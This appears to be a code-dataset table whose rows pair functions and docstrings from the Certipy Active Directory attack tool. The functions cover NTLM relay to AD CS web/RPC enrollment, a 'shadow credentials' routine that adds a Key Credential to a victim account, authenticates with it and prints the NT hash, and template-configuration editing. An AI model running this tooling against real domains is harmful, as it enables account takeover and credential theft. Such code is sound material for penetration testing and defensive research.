code
stringlengths 66
870k
| docstring
stringlengths 19
26.7k
| func_name
stringlengths 1
138
| language
stringclasses 1
value | repo
stringlengths 7
68
| path
stringlengths 5
324
| url
stringlengths 46
389
| license
stringclasses 7
values |
---|---|---|---|---|---|---|---|
def __init__(
self,
target: str,
ca: Optional[str] = None,
template: Optional[str] = None,
upn: Optional[str] = None,
dns: Optional[str] = None,
sid: Optional[str] = None,
subject: Optional[str] = None,
application_policies: Optional[List[str]] = None,
smime: Optional[str] = None,
archive_key: Optional[str] = None,
pfx_password: Optional[str] = None,
retrieve: Optional[int] = None,
key_size: int = 2048,
out: Optional[str] = None,
interface: str = "0.0.0.0",
port: int = 445,
forever: bool = False,
no_skip: bool = False,
timeout: int = 5,
enum_templates: bool = False,
**kwargs, # type: ignore
):
"""
Initialize the NTLM relay attack.
Args:
target: Target AD CS server (http://server/certsrv/ or rpc://server)
ca: Certificate Authority name (required for RPC)
template: Certificate template to request
upn: Alternative UPN (User Principal Name)
dns: Alternative DNS name
sid: Alternative SID (Security Identifier)
subject: Certificate subject name
application_policies: List of application policy OIDs
smime: SMIME capability identifier
archive_key: Path to CAX certificate for key archival
pfx_password: Password for PFX file
retrieve: Request ID to retrieve instead of requesting a new certificate
key_size: RSA key size in bits
out: Output file base name
interface: Network interface to listen on
port: Port to listen on for NTLM relay
forever: Continue listening for new connections after successful attack
no_skip: Don't skip already attacked targets
timeout: Connection timeout in seconds
enum_templates: Enumerate available templates instead of requesting certificate
kwargs: Additional arguments
"""
self.target = target
self.base_url = target # Used only for HTTP(S) targets
self.ca = ca
self.template = template
self.alt_upn = upn
self.alt_dns = dns
self.alt_sid = sid
self.subject = subject
self.archive_key = archive_key
self.pfx_password = pfx_password
self.request_id = int(retrieve) if retrieve else None
self.key_size = key_size
self.out = out
self.forever = forever
self.no_skip = no_skip
self.timeout = timeout
self.interface = interface
self.port = port
self.enum_templates = enum_templates
self.kwargs = kwargs
self.key: Optional[rsa.RSAPrivateKey] = None
# Convert application policy names to OIDs
self.application_policies = [
OID_TO_STR_NAME_MAP.get(policy.lower(), policy)
for policy in (application_policies or [])
]
self.smime = smime
self._request: Optional[Request] = None
self.attacked_targets = []
self.attack_lock = Lock()
# Configure target based on URL or RPC string
if self.target.startswith("rpc://"):
if ca is None:
logging.error("A certificate authority is required for RPC attacks")
exit(1)
logging.info(f"Targeting {target} (ESC11)")
else:
# Format HTTP target URL
if not self.target.startswith("http://") and not self.target.startswith(
"https://"
):
self.target = f"http://{self.target}"
if not self.target.endswith("/certsrv/certfnsh.asp"):
if not self.target.endswith("/"):
self.target += "/"
if self.enum_templates:
self.target += "certsrv/certrqxt.asp"
else:
self.target += "certsrv/certfnsh.asp"
logging.info(f"Targeting {self.target} (ESC8)")
url = httpx.URL(self.target)
if not url.is_absolute_url:
logging.error(
f"Invalid target URL. Expected format: http(s)://server/path, got {self.target}"
)
exit(1)
self.base_url = f"{url.scheme}://{url.host}"
# Configure impacket relay target
target_processor = TargetsProcessor(
singleTarget=self.target,
protocolClients={
"HTTP": self.get_relay_http_server,
"HTTPS": self.get_relay_http_server,
"RPC": self.get_relay_rpc_server,
},
)
# Configure relay
config = NTLMRelayxConfig()
config.setTargets(target_processor)
config.setDisableMulti(True)
config.setIsADCSAttack(True)
config.setADCSOptions(self.template)
config.setAttacks(
{
"HTTP": self.get_attack_http_client,
"HTTPS": self.get_attack_http_client,
"RPC": self.get_attack_rpc_client,
}
)
config.setProtocolClients(
{
"HTTP": self.get_relay_http_server,
"HTTPS": self.get_relay_http_server,
"RPC": self.get_relay_rpc_server,
}
)
config.setListeningPort(port)
config.setInterfaceIp(interface)
config.setSMB2Support(True)
config.setMode("RELAY")
self.server = SMBRelayServer(config)
|
Initialize the NTLM relay attack.
Args:
target: Target AD CS server (http://server/certsrv/ or rpc://server)
ca: Certificate Authority name (required for RPC)
template: Certificate template to request
upn: Alternative UPN (User Principal Name)
dns: Alternative DNS name
sid: Alternative SID (Security Identifier)
subject: Certificate subject name
application_policies: List of application policy OIDs
smime: SMIME capability identifier
archive_key: Path to CAX certificate for key archival
pfx_password: Password for PFX file
retrieve: Request ID to retrieve instead of requesting a new certificate
key_size: RSA key size in bits
out: Output file base name
interface: Network interface to listen on
port: Port to listen on for NTLM relay
forever: Continue listening for new connections after successful attack
no_skip: Don't skip already attacked targets
timeout: Connection timeout in seconds
enum_templates: Enumerate available templates instead of requesting certificate
kwargs: Additional arguments
|
__init__
|
python
|
ly4k/Certipy
|
certipy/commands/relay.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
|
MIT
|
def request(self) -> Request:
"""
Get the current request object.
Returns:
The current request object
"""
if not self._request is None:
return self._request
self._request = Request(
Target(
DnsResolver.create(),
timeout=self.timeout,
),
ca=self.ca,
template=self.template or "",
upn=self.alt_upn,
dns=self.alt_dns,
sid=self.alt_sid,
key_size=self.key_size,
retrieve=self.request_id,
out=self.out,
)
return self._request
|
Get the current request object.
Returns:
The current request object
|
request
|
python
|
ly4k/Certipy
|
certipy/commands/relay.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
|
MIT
|
def start(self) -> None:
"""
Start the relay server and wait for connections.
"""
logging.info(f"Listening on {self.interface}:{self.port}")
self.server.start()
try:
# Main loop - wait for connections
while True:
time.sleep(0.1)
except KeyboardInterrupt:
print("")
self.shutdown()
except Exception as e:
logging.error(f"Received error while running relay server: {e}")
handle_error()
|
Start the relay server and wait for connections.
|
start
|
python
|
ly4k/Certipy
|
certipy/commands/relay.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
|
MIT
|
def entry(options: argparse.Namespace) -> None:
"""
Command-line entry point for relay functionality.
Args:
options: Command line arguments
"""
# Initialize logging from Impacket
_impacket_logger.init()
relay = Relay(**vars(options))
relay.start()
|
Command-line entry point for relay functionality.
Args:
options: Command line arguments
|
entry
|
python
|
ly4k/Certipy
|
certipy/commands/relay.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
|
MIT
|
def entry(options: argparse.Namespace) -> None:
"""
Command-line entry point for certificate operations.
Args:
options: Command-line arguments
"""
# Create target from options
target = Target.from_options(options)
options.__delattr__("target")
# Create request object
request = Request(target=target, **vars(options))
# Handle CAX certificate retrieval
if options.cax_cert:
if not options.out:
logging.error("Please specify an output file for the CAX certificate!")
return
cax = request.get_cax()
if isinstance(cax, bytes):
logging.info(f"Saving CAX certificate to {options.out!r}")
output_path = try_to_save_file(cax, options.out)
logging.info(f"Wrote CAX certificate to {output_path!r}")
return
# Handle certificate retrieval or request
if options.retrieve:
_ = request.retrieve()
else:
_ = request.request()
|
Command-line entry point for certificate operations.
Args:
options: Command-line arguments
|
entry
|
python
|
ly4k/Certipy
|
certipy/commands/req.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/req.py
|
MIT
|
def __init__(
self,
target: Target,
account: str,
device_id: Optional[str] = None,
out: Optional[str] = None,
connection: Optional[LDAPConnection] = None,
**kwargs, # type: ignore
):
"""
Initialize the Shadow Authentication module.
Args:
target: Target information including domain, username, and authentication details
account: Account to target for Key Credential operations
device_id: Device ID for operations that require targeting a specific Key Credential
out: Output file path for saving PFX files
scheme: LDAP connection scheme (ldap or ldaps)
connection: Optional existing LDAP connection
kwargs: Additional arguments
"""
self.target = target
self.account = account
self.device_id = device_id
self.out = out
self.kwargs = kwargs
self._connection = connection
|
Initialize the Shadow Authentication module.
Args:
target: Target information including domain, username, and authentication details
account: Account to target for Key Credential operations
device_id: Device ID for operations that require targeting a specific Key Credential
out: Output file path for saving PFX files
scheme: LDAP connection scheme (ldap or ldaps)
connection: Optional existing LDAP connection
kwargs: Additional arguments
|
__init__
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def connection(self) -> LDAPConnection:
"""
Get or establish an LDAP connection to the domain.
Returns:
Active LDAP connection
Raises:
Exception: If connection fails
"""
if self._connection is not None:
return self._connection
self._connection = LDAPConnection(self.target)
self._connection.connect()
return self._connection
|
Get or establish an LDAP connection to the domain.
Returns:
Active LDAP connection
Raises:
Exception: If connection fails
|
connection
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def get_key_credentials(
self, target_dn: str, user: LDAPEntry
) -> Optional[List[bytes]]:
"""
Retrieve the current Key Credentials for a user.
Args:
target_dn: Distinguished name of the target user
user: LDAP user entry
Returns:
List of Key Credential binary values or None on failure
"""
results = self.connection.search(
search_base=target_dn,
search_filter="(objectClass=*)",
search_scope=ldap3.BASE,
attributes=["SAMAccountName", "objectSid", "msDS-KeyCredentialLink"],
)
if len(results) == 0:
logging.error(
f"Could not get the Key Credentials for {user.get('sAMAccountName')!r}"
)
return None
result = results[0]
return result.get("msDS-KeyCredentialLink")
|
Retrieve the current Key Credentials for a user.
Args:
target_dn: Distinguished name of the target user
user: LDAP user entry
Returns:
List of Key Credential binary values or None on failure
|
get_key_credentials
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def set_key_credentials(
self, target_dn: str, user: LDAPEntry, key_credential: List[Union[bytes, str]]
) -> bool:
"""
Set new Key Credentials for a user.
Args:
target_dn: Distinguished name of the target user
user: LDAP user entry
key_credential: List of Key Credential binary values to set
Returns:
True on success, False on failure
"""
result = self.connection.modify(
target_dn,
{"msDS-KeyCredentialLink": [ldap3.MODIFY_REPLACE, key_credential]},
)
if result["result"] == 0:
return True
# Handle specific error cases with helpful messages
if result["result"] == 50:
logging.error(
f"Could not update Key Credentials for {user.get('sAMAccountName')!r} "
f"due to insufficient access rights: {result['message']}"
)
elif result["result"] == 19:
logging.error(
f"Could not update Key Credentials for {user.get('sAMAccountName')!r} "
f"due to a constraint violation: {result['message']}"
)
else:
logging.error(
f"Failed to update the Key Credentials for {user.get('sAMAccountName')!r}: "
f"{result['message']}"
)
return False
|
Set new Key Credentials for a user.
Args:
target_dn: Distinguished name of the target user
user: LDAP user entry
key_credential: List of Key Credential binary values to set
Returns:
True on success, False on failure
|
set_key_credentials
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def generate_key_credential(
self, target_dn: str, subject: str
) -> Tuple[X509Certificate2, KeyCredential, str]:
"""
Generate a new certificate and Key Credential object.
Args:
target_dn: Distinguished name of the target user
subject: Certificate subject name
Returns:
Tuple containing (certificate, key_credential, device_id)
"""
logging.info("Generating certificate")
# Ensure subject is not too long for AD
if len(subject) >= 64:
logging.warning("Subject too long. Limiting subject to 64 characters.")
subject = subject[:64]
# Generate a certificate valid for a long time (-40 to +40 years)
cert = X509Certificate2(
subject=subject,
keySize=2048,
notBefore=(-40 * 365),
notAfter=(40 * 365),
)
logging.info("Certificate generated")
# Create a Key Credential from the certificate
logging.info("Generating Key Credential")
key_credential = KeyCredential.fromX509Certificate2(
certificate=cert,
deviceId=Guid(), # Generate a random device ID
owner=target_dn,
currentTime=DateTime(),
)
device_id = key_credential.DeviceId.toFormatD()
logging.info(f"Key Credential generated with DeviceID {device_id!r}")
return (cert, key_credential, device_id)
|
Generate a new certificate and Key Credential object.
Args:
target_dn: Distinguished name of the target user
subject: Certificate subject name
Returns:
Tuple containing (certificate, key_credential, device_id)
|
generate_key_credential
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def add_new_key_credential(
self, target_dn: str, user: LDAPEntry
) -> Optional[Tuple[X509Certificate2, List[Union[bytes, str]], List[bytes], str]]:
"""
Add a new Key Credential to a user.
Args:
target_dn: Distinguished name of the target user
user: LDAP user entry
Returns:
Tuple containing (certificate, new_key_credential_list,
saved_key_credential_list, device_id) or None on failure
"""
# Generate a new Key Credential
sam_account_name = self._get_sam_account_name(user)
cert, key_credential, device_id = self.generate_key_credential(
target_dn, sam_account_name
)
# Show detailed info in verbose mode
if is_verbose():
key_credential.fromDNWithBinary(key_credential.toDNWithBinary()).show()
# Get the existing Key Credentials
saved_key_credential = self.get_key_credentials(target_dn, user)
if saved_key_credential is None:
saved_key_credential = []
# Create a new list including our new Key Credential
new_key_credential = saved_key_credential + [
key_credential.toDNWithBinary().toString()
]
logging.info(
f"Adding Key Credential with device ID {device_id!r} to the Key Credentials for "
f"{user.get('sAMAccountName')!r}"
)
# Update the user's Key Credentials
result = self.set_key_credentials(target_dn, user, new_key_credential)
if result is False:
return None
logging.info(
f"Successfully added Key Credential with device ID {device_id!r} to the Key Credentials for "
f"{user.get('sAMAccountName')!r}"
)
return (cert, new_key_credential, saved_key_credential, device_id)
|
Add a new Key Credential to a user.
Args:
target_dn: Distinguished name of the target user
user: LDAP user entry
Returns:
Tuple containing (certificate, new_key_credential_list,
saved_key_credential_list, device_id) or None on failure
|
add_new_key_credential
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def get_key_and_certificate(
self, cert2: X509Certificate2
) -> Tuple[PrivateKeyTypes, x509.Certificate]:
"""
Extract the private key and certificate from an X509Certificate2 object.
Args:
cert2: X509Certificate2 object
Returns:
Tuple containing (private_key, certificate)
"""
# Extract and convert the private key
key = der_to_key(
OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_ASN1, cert2.key) # type: ignore
)
# Extract and convert the certificate
cert = der_to_cert(
OpenSSL.crypto.dump_certificate(
OpenSSL.crypto.FILETYPE_ASN1, cert2.certificate
)
)
return (key, cert)
|
Extract the private key and certificate from an X509Certificate2 object.
Args:
cert2: X509Certificate2 object
Returns:
Tuple containing (private_key, certificate)
|
get_key_and_certificate
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def _get_target_dn(self, user: LDAPEntry) -> Optional[str]:
"""
Get the distinguished name from a user entry and validate it.
Args:
user: LDAP user entry
Returns:
Distinguished name string or None if invalid
"""
target_dn = user.get("distinguishedName")
if not isinstance(target_dn, str):
logging.error(
"Target DN is not a string. Cannot proceed with the operation."
)
return None
return target_dn
|
Get the distinguished name from a user entry and validate it.
Args:
user: LDAP user entry
Returns:
Distinguished name string or None if invalid
|
_get_target_dn
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def _get_sam_account_name(self, user: LDAPEntry) -> str:
"""
Get the SAM account name from a user entry.
Args:
user: LDAP user entry
Returns:
SAM account name string
"""
sam_account_name = user.get("sAMAccountName")
if not isinstance(sam_account_name, str):
logging.warning(
"SAM account name is not a string. Falling back to the account name."
)
return self.account
return sam_account_name
|
Get the SAM account name from a user entry.
Args:
user: LDAP user entry
Returns:
SAM account name string
|
_get_sam_account_name
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def auto(self) -> Optional[str]:
"""
Automatically add a Key Credential, authenticate, get NT hash, and restore original state.
This is the most common attack scenario - adding a temporary Key Credential,
using it to authenticate and get the NT hash, then cleaning up by restoring
the original Key Credentials.
Returns:
NT hash string on success, False on failure
"""
# Get the target user
user = self.connection.get_user(self.account)
if user is None:
return None
sam_account_name = self._get_sam_account_name(user)
logging.info(f"Targeting user {sam_account_name!r}")
# Get and validate the distinguished name
target_dn = self._get_target_dn(user)
if not target_dn:
return None
# Add a new Key Credential
result = self.add_new_key_credential(target_dn, user)
if result is None:
return None
# Unpack the result
cert, _, saved_key_credential, _ = result
# Extract the key and certificate for authentication
key, cert = self.get_key_and_certificate(cert)
# Authenticate with the new Key Credential
sam_account_name = self._get_sam_account_name(user)
logging.info(f"Authenticating as {sam_account_name!r} with the certificate")
authenticate = Authenticate(self.target, cert=cert, key=key)
_ = authenticate.authenticate(
username=sam_account_name,
is_key_credential=True,
domain=self.connection.domain,
)
# Cleanup by restoring the original Key Credentials
logging.info(f"Restoring the old Key Credentials for {sam_account_name!r}")
result = self.set_key_credentials(target_dn, user, saved_key_credential) # type: ignore
if result is True:
logging.info(
f"Successfully restored the old Key Credentials for {sam_account_name!r}"
)
# Return the obtained NT hash
logging.info(f"NT hash for {sam_account_name!r}: {authenticate.nt_hash}")
return authenticate.nt_hash
|
Automatically add a Key Credential, authenticate, get NT hash, and restore original state.
This is the most common attack scenario - adding a temporary Key Credential,
using it to authenticate and get the NT hash, then cleaning up by restoring
the original Key Credentials.
Returns:
NT hash string on success, False on failure
|
auto
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def add(self) -> bool:
"""
Add a new Key Credential to a user and save the certificate as a PFX file.
Returns:
True on success, False on failure
"""
# Get the target user
user = self.connection.get_user(self.account)
if user is None:
return False
sam_account_name = self._get_sam_account_name(user)
logging.info(f"Targeting user {sam_account_name!r}")
# Get and validate the distinguished name
target_dn = self._get_target_dn(user)
if not target_dn:
return False
# Add a new Key Credential
result = self.add_new_key_credential(target_dn, user)
if result is None:
return False
# Unpack the result
cert, _, _, _ = result
# Extract the key and certificate
key, cert = self.get_key_and_certificate(cert)
# Determine output filename
out = self.out
if out is None:
sam_account_name = self._get_sam_account_name(user)
out = f"{sam_account_name.rstrip('$')}.pfx"
# Create and save PFX
pfx = create_pfx(key, cert)
logging.info(f"Saving certificate and private key to {out!r}")
out = try_to_save_file(
pfx,
out,
)
logging.info(f"Saved certificate and private key to {out!r}")
return True
|
Add a new Key Credential to a user and save the certificate as a PFX file.
Returns:
True on success, False on failure
|
add
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def list(self) -> bool:
"""
List all Key Credentials for a user.
Returns:
True if Key Credentials were found and listed, False otherwise
"""
# Get the target user
user = self.connection.get_user(self.account)
if user is None:
return False
sam_account_name = self._get_sam_account_name(user)
logging.info(f"Targeting user {sam_account_name!r}")
# Get and validate the distinguished name
target_dn = self._get_target_dn(user)
if not target_dn:
return False
# Get the Key Credentials
key_credentials = self.get_key_credentials(target_dn, user)
if key_credentials is None:
return False
# Handle empty Key Credentials
if len(key_credentials) == 0:
logging.info(
f"The Key Credentials attribute for {sam_account_name!r} "
f"is either empty or the current user does not have read permissions for the attribute"
)
return False
# List the Key Credentials
logging.info(f"Listing Key Credentials for {sam_account_name!r}")
for dn_binary_value in key_credentials:
key_credential = KeyCredential.fromDNWithBinary(
DNWithBinary.fromRawDNWithBinary(dn_binary_value)
)
logging.info(
f"DeviceID: {key_credential.DeviceId.toFormatD()} | "
f"Creation Time (UTC): {key_credential.CreationTime}"
)
return True
|
List all Key Credentials for a user.
Returns:
True if Key Credentials were found and listed, False otherwise
|
list
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def clear(self) -> bool:
"""
Clear all Key Credentials for a user.
Returns:
True on success, False on failure
"""
# Get the target user
user = self.connection.get_user(self.account)
if user is None:
return False
sam_account_name = self._get_sam_account_name(user)
logging.info(f"Targeting user {sam_account_name!r}")
# Get and validate the distinguished name
target_dn = self._get_target_dn(user)
if not target_dn:
return False
# Clear the Key Credentials
logging.info(f"Clearing the Key Credentials for {sam_account_name!r}")
result = self.set_key_credentials(target_dn, user, [])
if result is True:
logging.info(
f"Successfully cleared the Key Credentials for {sam_account_name!r}"
)
return result
|
Clear all Key Credentials for a user.
Returns:
True on success, False on failure
|
clear
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def remove(self) -> bool:
"""
Remove a specific Key Credential identified by its Device ID.
Returns:
True on success, False on failure
"""
# Ensure a device ID was provided
if self.device_id is None:
logging.error(
"A device ID (-device-id) is required for the remove operation"
)
return False
# Get the target user
user = self.connection.get_user(self.account)
if user is None:
return False
sam_account_name = self._get_sam_account_name(user)
logging.info(f"Targeting user {sam_account_name!r}")
# Get and validate the distinguished name
target_dn = self._get_target_dn(user)
if not target_dn:
return False
# Get the Key Credentials
key_credentials = self.get_key_credentials(target_dn, user)
if key_credentials is None:
return False
# Handle empty Key Credentials
if len(key_credentials) == 0:
logging.info(
f"The Key Credentials attribute for {sam_account_name!r} "
f"is either empty or the current user does not have read permissions for the attribute"
)
return True
# Find and remove the specified Key Credential
device_id = self.device_id
new_key_credentials = []
device_id_in_current_values = False
for dn_binary_value in key_credentials:
key_credential = KeyCredential.fromDNWithBinary(
DNWithBinary.fromRawDNWithBinary(dn_binary_value)
)
if key_credential.DeviceId.toFormatD() == device_id:
logging.info(
f"Found device ID {device_id!r} in Key Credentials {sam_account_name!r}"
)
device_id_in_current_values = True
else:
new_key_credentials.append(dn_binary_value)
# Update the Key Credentials if the specified Device ID was found
if device_id_in_current_values:
logging.info(
f"Deleting the Key Credential with device ID {device_id!r} "
f"in Key Credentials for {sam_account_name!r}"
)
result = self.set_key_credentials(target_dn, user, new_key_credentials)
if result is True:
logging.info(
f"Successfully deleted the Key Credential with device ID {device_id!r} "
f"in Key Credentials for {sam_account_name!r}"
)
return result
else:
logging.error(
f"Could not find device ID {device_id!r} in Key Credentials for "
f"{sam_account_name!r}"
)
return False
|
Remove a specific Key Credential identified by its Device ID.
Returns:
True on success, False on failure
|
remove
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def info(self) -> bool:
"""
Show detailed information about a specific Key Credential.
Returns:
True if the Key Credential was found and info displayed, False otherwise
"""
# Ensure a device ID was provided
if self.device_id is None:
logging.error("A device ID (-device-id) is required for the info operation")
return False
# Get the target user
user = self.connection.get_user(self.account)
if user is None:
return False
sam_account_name = self._get_sam_account_name(user)
logging.info(f"Targeting user {sam_account_name!r}")
# Get and validate the distinguished name
target_dn = self._get_target_dn(user)
if not target_dn:
return False
# Get the Key Credentials
key_credentials = self.get_key_credentials(target_dn, user)
if key_credentials is None:
return False
# Handle empty Key Credentials
if len(key_credentials) == 0:
logging.info(
f"The Key Credentials attribute for {sam_account_name!r} "
f"is either empty or the current user does not have read permissions for the attribute"
)
return True
# Find the specified Key Credential and display its info
device_id = self.device_id
for dn_binary_value in key_credentials:
key_credential = KeyCredential.fromDNWithBinary(
DNWithBinary.fromRawDNWithBinary(dn_binary_value)
)
if key_credential.DeviceId.toFormatD() == device_id:
logging.info(
f"Found device ID {device_id!r} in Key Credentials {sam_account_name!r}"
)
key_credential.show()
return True
logging.error(
f"Could not find device ID {device_id!r} in Key Credentials for "
f"{sam_account_name!r}"
)
return False
|
Show detailed information about a specific Key Credential.
Returns:
True if the Key Credential was found and info displayed, False otherwise
|
info
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def entry(options: argparse.Namespace) -> None:
"""
Command-line entry point for Shadow Authentication operations.
Args:
options: Command-line arguments
"""
# Create target from options
target = Target.from_options(options)
# Use provided account or default to the authenticated username
account = options.account
if account is None:
account = target.username
if account is None:
logging.error("An account (-account) is required")
return
# Remove processed options
options.__delattr__("account")
options.__delattr__("target")
# Create Shadow instance
shadow = Shadow(target=target, account=account, **vars(options))
# Map actions to methods
actions = {
"auto": shadow.auto, # Add Key Credential, authenticate, get NT hash, restore
"add": shadow.add, # Add Key Credential and save PFX
"list": shadow.list, # List all Key Credentials
"clear": shadow.clear, # Remove all Key Credentials
"remove": shadow.remove, # Remove specific Key Credential
"info": shadow.info, # Show info about specific Key Credential
}
# Execute the requested action
actions[options.shadow_action]()
|
Command-line entry point for Shadow Authentication operations.
Args:
options: Command-line arguments
|
entry
|
python
|
ly4k/Certipy
|
certipy/commands/shadow.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/shadow.py
|
MIT
|
def default_into_transformer(value: Any) -> Any:
"""
Default transformer function that returns the value unchanged.
Args:
value: The value to transform
Returns:
The original value
"""
if isinstance(value, list):
return [default_into_transformer(item) for item in value]
if isinstance(value, bytes):
return "HEX:" + value.hex()
return value
|
Default transformer function that returns the value unchanged.
Args:
value: The value to transform
Returns:
The original value
|
default_into_transformer
|
python
|
ly4k/Certipy
|
certipy/commands/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/template.py
|
MIT
|
def default_from_transformer(value: Any) -> Any:
"""
Default transformer function that converts a value to its original form.
Args:
value: The value to transform
Returns:
The original value
"""
if isinstance(value, list):
return [default_from_transformer(item) for item in value]
if isinstance(value, str) and value.startswith("HEX:"):
return bytes.fromhex(value[4:])
return value
|
Default transformer function that converts a value to its original form.
Args:
value: The value to transform
Returns:
The original value
|
default_from_transformer
|
python
|
ly4k/Certipy
|
certipy/commands/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/template.py
|
MIT
|
def __init__(
self,
target: "Target",
template: str = "",
write_configuration: Optional[str] = None,
write_default_configuration: bool = False,
save_configuration: Optional[str] = None,
no_save: bool = False,
force: bool = False,
connection: Optional[LDAPConnection] = None,
**kwargs, # type: ignore
):
"""
Initialize a Template object for certificate template operations.
Args:
target: Target domain information
template: Name of the certificate template to operate on
write_configuration: Path to configuration file to apply
write_default_configuration: Whether to apply the default configuration
save_configuration: Path to save the current configuration
no_save: Whether to skip saving the current configuration
force: Do not prompt for confirmation before applying changes
scheme: LDAP connection scheme (ldap or ldaps)
connection: Optional existing LDAP connection to reuse
**kwargs: Additional keyword arguments
"""
self.target = target
self.template_name = template
self.write_configuration_file = write_configuration
self.write_default_configuration = write_default_configuration
self.save_configuration_file = save_configuration
self.no_save = no_save
self.force = force
self.kwargs = kwargs
self._connection = connection
|
Initialize a Template object for certificate template operations.
Args:
target: Target domain information
template: Name of the certificate template to operate on
write_configuration: Path to configuration file to apply
write_default_configuration: Whether to apply the default configuration
save_configuration: Path to save the current configuration
no_save: Whether to skip saving the current configuration
force: Do not prompt for confirmation before applying changes
scheme: LDAP connection scheme (ldap or ldaps)
connection: Optional existing LDAP connection to reuse
**kwargs: Additional keyword arguments
|
__init__
|
python
|
ly4k/Certipy
|
certipy/commands/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/template.py
|
MIT
|
def connection(self) -> LDAPConnection:
"""
Lazily establish and return an LDAP connection.
Returns:
An active LDAP connection to the target domain
"""
if self._connection is not None:
return self._connection
self._connection = LDAPConnection(self.target)
self._connection.connect()
return self._connection
|
Lazily establish and return an LDAP connection.
Returns:
An active LDAP connection to the target domain
|
connection
|
python
|
ly4k/Certipy
|
certipy/commands/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/template.py
|
MIT
|
def configuration_to_json(self, configuration: Dict[str, Any]) -> str:
"""
Convert a template configuration to a JSON string.
Converts binary attribute values to their hexadecimal representation
for storage in JSON format.
Args:
configuration: Template configuration dictionary
Returns:
JSON string representation of the configuration
"""
output = {}
for key, value in configuration.items():
if key in PROTECTED_ATTRIBUTES:
continue
into_transformer, _ = TRANSFORMERS.get(
key, (default_into_transformer, None)
)
output[key] = into_transformer(value)
return json.dumps(output, indent=2, ensure_ascii=False)
|
Convert a template configuration to a JSON string.
Converts binary attribute values to their hexadecimal representation
for storage in JSON format.
Args:
configuration: Template configuration dictionary
Returns:
JSON string representation of the configuration
|
configuration_to_json
|
python
|
ly4k/Certipy
|
certipy/commands/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/template.py
|
MIT
|
def get_configuration(self, template_name: str) -> Optional[LDAPEntry]:
"""
Retrieve the configuration for a certificate template from AD.
Searches for the template by CN or displayName and returns its configuration.
Args:
template_name: Name of the certificate template to find
Returns:
LDAPEntry containing the template configuration or None if not found
"""
escaped_template = escape_filter_chars(template_name)
# First try searching by CN
results = self.connection.search(
search_filter=f"(&(cn={escaped_template})(objectClass=pKICertificateTemplate))",
search_base=self.connection.configuration_path,
query_sd=True,
)
# If not found by CN, try displayName
if not results:
results = self.connection.search(
f"(&(displayName={escaped_template})(objectClass=pKICertificateTemplate))",
search_base=self.connection.configuration_path,
query_sd=True,
)
if not results:
logging.error(
f"Could not find any certificate template for {template_name!r}"
)
return None
if len(results) > 1:
# This should never happen, but just in case
logging.error(
f"Found multiple certificate templates identified by {template_name!r}"
)
return None
return results[0]
|
Retrieve the configuration for a certificate template from AD.
Searches for the template by CN or displayName and returns its configuration.
Args:
template_name: Name of the certificate template to find
Returns:
LDAPEntry containing the template configuration or None if not found
|
get_configuration
|
python
|
ly4k/Certipy
|
certipy/commands/template.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/commands/template.py
|
MIT
|
def json_to_configuration(
self, configuration_json: Dict[str, Any]
) -> Dict[str, Any]:
"""
Convert a JSON configuration back to a usable LDAP configuration.
Converts hexadecimal strings back to binary data for LDAP operations.
Args:
configuration_json: Dictionary loaded from JSON
Returns:
Configuration dictionary with binary values ready for LDAP
"""
output = {}
for key, value in configuration_json.items():
if key in PROTECTED_ATTRIBUTES:
continue
_, from_transformer = TRANSFORMERS.get(
key, (None, default_from_transformer)
)
output[key] = from_transformer(value)
return output
|
Convert a JSON configuration back to a usable LDAP configuration.
Converts hexadecimal strings back to binary data for LDAP operations.
Args:
configuration_json: Dictionary loaded from JSON
Returns:
Configuration dictionary with binary values ready for LDAP
|
json_to_configuration
|
python
|
ly4k/Certipy
|
